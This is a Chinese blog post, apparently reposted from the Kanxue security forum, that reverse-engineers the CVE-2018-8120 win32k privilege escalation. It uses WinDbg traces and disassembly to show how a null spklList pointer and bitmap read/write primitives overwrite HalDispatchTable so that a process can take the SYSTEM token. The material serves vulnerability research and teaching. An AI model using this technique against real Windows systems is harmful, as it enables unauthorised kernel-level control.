![2275e0cddd8fbc2d8d2babb5e207e67a.png](https://i-blog.csdnimg.cn/blog_migrate/883274608efd4a1e38ed9e20b6e02904.jpeg)
01 Windows内核提权思路
提权一
提权二
提权三
02 成因
03 利用
04 逆向
窗口站
SetBitmap
总结
>>>>
提权一
替换当前进程EPROCESS结构的token为system的token。
>>>>
提权二
替换当前进程EPROCESS结构体token所指向的数据。
>>>>
提权三
3环直接写shellcode是不行的因为当前 进程eprocess位于内核空间,要进行读写代码必须在0环中,如果在3环进行读写会出现保护异常。 用户层可以通过调用系统服务来访问内核层代码。 02 成因 win32k.sys 组件中创建窗口站对象(CreateWindowStationW)时候,SetImeInfoEx函数没有对指针进行安全验证; 对应指针指向零页内存,然后在它下一次使用之前有代码对该区域进行修改触发蓝屏。 03 利用 需要提权申请一块堆大小并且构造这块内存中的数据释放后指向shellcode位置,当提权完成后再恢复这块数据。 04 逆向 以2018-8120为例子进行傻瓜式分析开始啦, 前提需要进入当前进程所对应的内核空间。
1: kd> !process 0 0 test.exe1: kd> .process /i 87b06c081: kd> g0: kd> .reload /f /user0: kd> .process
![fed3d74f61e2032c59b38919cebcf4b7.png](https://i-blog.csdnimg.cn/blog_migrate/bad9bddd5677f433e5c0f8aa8e9f235d.png)
>>>>
窗口站
窗口站是和当前进程和会话(session)相关联的一个内核对象,它包含剪贴板(clipboard)、原子表、一个或多个桌面(desktop)对象。 用户调用CreateWindowStation创建新的窗口站时,最终会调用内核函数xxxCreateWindowStation执行窗口站的创建,但是在该函数执行期间,被创建的新窗口站实例的spklList指针并没有被初始化,指向的是空地址。 a. HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); hSta 句柄=58,对应在内核中窗口站地址是87a85d48:001b:01246909 8bf4 mov esi,esp //001b:0124690b 6a00 push 0 //0001b:0124690d 6800000200 push 20000h //READ_CONTROL001b:01246912 6a00 push 0 //0001b:01246914 6a00 push 0 //0001b:01246916 ff1588522c01 call dword ptr [test!_imp__CreateWindowStationW (012c5288)]
![ce3266f2d7437743c21ba0be39461441.png](https://i-blog.csdnimg.cn/blog_migrate/cdbdf86ef8508c973595ccfc56a7f852.png)
001b:012469be 8bf4 mov esi,esp001b:012469c0 8d85d0fcffff lea eax,[ebp-330h] //002cf450 00000090001b:012469c6 50 push eax //eax=002cf450=buff001b:012469c7 6a20 push 20h001b:012469c9 6a01 push 1001b:012469cb 6a01 push 1001b:012469cd 6a60 push 60h001b:012469cf ff1504502c01 call dword ptr [test!_imp__CreateBitmap (012c5004)]
同理所得:
gWorker=180504e7 mpv=fe667038,wpv=fdab8368
//堆栈变化
002c30e4 00000060
002c30e8 00000001
002c30ec 00000001
002c30f0 00000020
![e1eef0edea80075583f48dd2f16903ae.png](https://i-blog.csdnimg.cn/blog_migrate/355bf668b1c42bf635c8002ae92f74ca.png)
001b:01246a66 c78594fcffff00000000 mov dword ptr [ebp-36Ch],0 //002cf414 00000000 ==>P_tagKL pkl =0001b:01246a70 8b8594fcffff mov eax,dword ptr [ebp-36Ch] //eax=00000000==>pkl->hkl001b:01246a76 8b8da0fcffff mov ecx,dword ptr [ebp-360h] //ecx=fdab8368=wpv001b:01246a7c 894814 mov dword ptr [eax+14h],ecx //[eax+14]==>[0+14]==>pkl->hkl = (HKL__ *)wpv;001b:01246a7f 8b85acfcffff mov eax,dword ptr [ebp-354h]001b:01246a85 83e804 sub eax,4 //eax-4=eax=fe667034001b:01246a88 8b8d94fcffff mov ecx,dword ptr [ebp-36Ch] //002cf414 00000000 ==>ecx=00000000==>pkl001b:01246a8e 89412c mov dword ptr [ecx+2Ch],eax //eax=fe667034==>0000002c fe667034001b:01246a91 685c010000 push 15Ch001b:01246a96 8d8530fbffff lea eax,[ebp-4D0h]001b:01246a9c 50 push eax001b:01246a9d e816c7ffff call test!ILT+435(_RtlSecureZeroMemory) (012431b8)
自己申请内存地址初始化002cf2b0 =0xccc。
![3521e2d6d5501373b2d9dcb08b0add3b.png](https://i-blog.csdnimg.cn/blog_migrate/e1332c11f575e7ef526023c3a0b5a5bd.png)
![19bc14fa202280991d8fe127a52f5fa3.png](https://i-blog.csdnimg.cn/blog_migrate/2d2ef2db872f437119aad640857b52fa.png)
![c6963c750a0d49d37a35d17949e6ff24.png](https://i-blog.csdnimg.cn/blog_migrate/5c23852a651d264574f98362bbe4daf1.png)
![dd2b78e17abd86fee9bf682d17d3ad46.png](https://i-blog.csdnimg.cn/blog_migrate/58f0b98b9eec90c8713099d793b068f7.png)
![30e99e593e878b3188d811411459c51f.png](https://i-blog.csdnimg.cn/blog_migrate/26b858b22d55dce6e5f7f06a32350867.png)
>>>>
SetBitmap
a. Bitmap分析
思路: SetBitmapBits --> NtGdiSetBitmapBits --> GreSetBitmapBits --> bDoGetSetBitmapBits--> memcpy (1)setbitmap代码分析 SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr);001b:01246be5 8bf4 mov esi,esp001b:01246be7 8d850cfbffff lea eax,[ebp-4F4h] &oaddr001b:01246bed 50 push eax //eax=002cf28c001b:01246bee 6a04 push 4 // 00000004 ==》sizeof001b:01246bf0 8b8dc4fcffff mov ecx,dword ptr [ebp-33Ch] //1205067e==》gManger001b:01246bf6 51 push ecx //push 1205067e001b:01246bf7 ff1508502c01 call dword ptr [test!_imp__SetBitmapBits (012c5008)]
NtGdiSetBitmapBits(int a1, SIZE_T Size, PVOID Address)
b.
bp win32k!NtGdiSetBitmapBits下断点进行分析
v6 = GreSetBitmapBits(a1, Size, Address, &v4);进行分析。
win32k!NtGdiSetBitmapBits+0x67:940d3b0b 8d45dc lea eax,[ebp-24h] 8c16abe8 8c16abfc940d3b0e 50 push eax //push 8c16abfc==>&v4 ==>8c16abfc 00000000 ==>0940d3b0f ff7510 push dword ptr [ebp+10h] //002cf28c ==> Address ==>002cf28c 83f6e3fc nt!HalDispatchTable+0x4940d3b12 ff750c push dword ptr [ebp+0Ch] //push 00000004 ==>sizeof940d3b15 ff7508 push dword ptr [ebp+8] //push 1205067e ==>gManger==>a1940d3b18 e8dbcf0800 call win32k!GreSetBitmapBits (94160af8)
c.
bp win32k!bDoGetSetBitmapBits下断点进行分析
v9是算出来的计算公式如下:
![3b6d2ee1277dda3488287a025e2f1267.png](https://i-blog.csdnimg.cn/blog_migrate/7bb7e63e1bfed2bac3f844f26e22783c.png)
![5a28401d1caff369d09b478b4fdf2021.png](https://i-blog.csdnimg.cn/blog_migrate/de04a5378dd2c59d5c7c1fcf5696604c.png)
win32k!GreSetBitmapBits+0x169:94160c61 53 push ebx94160c62 8d4d80 lea ecx,[ebp-80h] 8c16ab44 0000000094160c65 51 push ecx //8c16ab40 8c16ab54 ==>ecx=8c16ab54==>(struct _SURFOBJ *)&v12 ==> _SURFOBJ *a294160c66 50 push eax //8c16ab3c fe667018 ==>eax = fe667018 ==》v9=fdf6bd38 +20= FDF6BD58 =wpv ==> _SURFOBJ *a1/*
*/94160c67 e8a5000000 call win32k!bDoGetSetBitmapBits (94160d11)
v9计算过程gManager句柄的后3位,wpv+20位置。
![6cbe949b42814876de49f315542b7b03.png](https://i-blog.csdnimg.cn/blog_migrate/8ad45ec06f8985793afd628d705c9ecd.jpeg)
![a7b4ccb9388527e073c53989526bc109.png](https://i-blog.csdnimg.cn/blog_migrate/de969197e0d6afd6b4b9ab3a9b3f44ec.png)
win32k!bDoGetSetBitmapBits+0x30a:9416101b c745fc05000000 mov dword ptr [ebp-4],5 8c16ab30 0000000594161022 53 push ebx ebx=0000000494161023 ff750c push dword ptr [ebp+0Ch] 8c16ab40 002cf28c ==>002cf28c==>002cf28c 83f6e3fc nt!HalDispatchTable+0x494161026 ff7508 push dword ptr [ebp+8] 8c16ab3c fdab8368 ==》fdab8368==》wpv
win32k!bDoGetSetBitmapBits+0x318:94161029 e87208ffff call win32k!memcpy (941518a0) fdab8368 ==>wpv
![2e264a3ff8576e07290abb2027339862.png](https://i-blog.csdnimg.cn/blog_migrate/2a44d521a66cda7f4d50a82e6c28180b.png)
>>>>
总结
剩下的GetBitmapBits以及需要逆向的其他函数都是类似操作只要知道调用哪个函数就可以动态跟踪里面数据。
![e81b3905b3628ada24de38b30a5a3833.gif](https://i-blog.csdnimg.cn/blog_migrate/fc5228206efde13b86c4c58afeb2233c.gif)
![c07ace7d9385097440fbf3d68c808507.png](https://i-blog.csdnimg.cn/blog_migrate/d460be63ab6094d2d1a3250f773b6797.png)
看雪ID:东方二狗
https://bbs.pediy.com/user-798435.htm
*本文由看雪论坛 东方二狗 原创,转载请注明来自看雪社区推荐文章++++
![94120defdecc3fa5bff78c9ddc7ff4c6.png](https://i-blog.csdnimg.cn/blog_migrate/3d99877eb3f38448ea1a64105570edef.jpeg)
* 动态过DSE代码以及原理
* ollvm源码分析 - Pass之SplitBaiscBlocks
* Linux内核驱动调试遇到的一些坑以及解决方法(新手必看指南)
* 记一起 kthroltlds 挖矿蠕虫变种分析
* Metasploit后门以及跨平台后门生成
进阶安全圈,不得不读的一本书![d505eb516f349ec21aa23d4cc8a938b2.png](https://i-blog.csdnimg.cn/blog_migrate/aa89e8d7b4d4802070ef0b5435b62bd0.png)
![08508cc09087b45f497c783a5ebe878d.png](https://i-blog.csdnimg.cn/blog_migrate/2dd21322e56b7c7f7afe009ed60c053a.jpeg)
![1a2414e2b93799d60b5c9169db1564f8.gif](https://i-blog.csdnimg.cn/blog_migrate/6c9cd548c89aa21adef601299d9604c0.gif)